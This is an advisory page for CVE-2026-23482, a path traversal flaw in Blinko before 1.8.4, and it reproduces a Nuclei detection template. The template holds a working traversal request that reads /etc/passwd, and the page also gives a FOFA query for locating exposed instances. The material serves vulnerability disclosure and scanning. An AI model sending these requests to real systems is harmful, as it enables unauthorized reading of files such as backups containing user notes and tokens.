CVE-2026-23482: Blinko < 1.8.4 - Path Traversal

2026-05-09 Blinko PoC Public

Description

Blinko < 1.8.4 contains a path traversal vulnerability caused by lack of permission checks and filtering on the temp/ path in the file server endpoint, letting unauthorized attackers read arbitrary files including backup files with user notes and tokens, exploit requires no special privileges.

PoC

id: CVE-2026-23482

info:
  name: Blinko < 1.8.4 - Path Traversal
  author: tx1ee
  severity: high
  description: |
    Blinko < 1.8.4 contains a path traversal vulnerability caused by lack of permission checks and filtering on the temp/ path in the file server endpoint, letting unauthorized attackers read arbitrary files including backup files with user notes and tokens, exploit requires no special privileges.
  impact: |
    Unauthorized attackers can read arbitrary files, including sensitive user notes and tokens, leading to information disclosure.
  remediation: |
    Update to version 1.8.4 or later
  reference:
    - https://github.com/blinkospace/blinko/commit/c48851090767feba431418630c495d90a7da1781
    - https://github.com/blinkospace/blinko/security/advisories/GHSA-hrwx-rhrx-f9mm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-23482
    cwe-id: CWE-22
    epss-score: 0.01523
    epss-percentile: 0.73342
  metadata:
    verified: true
    max-request: 1
    vendor: blinko-space
    product: blinko
    fofa-query: icon_hash="-1446811182" || icon_hash="-717082057"
  tags: cve,cve2026,blinko,blinko-space,lfi,traversal

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/manifest.webmanifest"
      - "{{BaseURL}}/manifest.json"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "Blinko"
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/file/temp/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f5085f0810c099f09fb8412d8aa07372386942348dbd1912327cbbc593fd834e022100e04c7a38a4e35cf1143f2ea3714d475c53fb9cf546684ce02c9e95e773b49154:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-23482.yaml

References

Related Vulnerabilities